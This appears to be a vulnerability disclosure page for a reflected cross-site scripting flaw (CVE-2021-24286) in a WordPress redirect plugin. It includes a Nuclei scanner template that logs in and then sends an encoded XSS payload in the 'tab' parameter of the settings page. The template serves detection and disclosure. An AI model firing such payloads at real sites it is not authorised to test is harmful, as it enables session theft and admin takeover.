CVE-2021-24286: WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting

Description

The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.

PoC

id: CVE-2021-24286

info:
  name: WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the settings page, potentially stealing administrator session cookies or performing administrative actions.
  remediation: Fixed in version 1.3.1
  reference:
    - https://wpscan.com/vulnerability/b9a535f3-cb0b-46fe-b345-da3462584e27
    - https://www.exploit-db.com/exploits/50350
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24286
    - https://wordpress.org/plugins/redirect-404-to-parent/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24286
    cwe-id: CWE-79
    epss-score: 0.13942
    epss-percentile: 0.96348
    cpe: cpe:2.3:a:mooveagency:redirect_404_to_parent:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mooveagency
    product: redirect_404_to_parent
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wpscan,authenticated,exploitdb,wp-plugin,mooveagency,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "alert%28document.domain%29") && contains(body_2, "Moove redirect 404")'
          - 'status_code_2 == 200'
        condition: and
# digest: 490a00463044022066ee0457e5a27b8da7d31238a07f0db46de90dce3e97c51cdb9ee43e37ae00de02205d3fdead42c5da5ea8ed62697d864b7748ddd281a18d8553dc0a42f5e3059d74:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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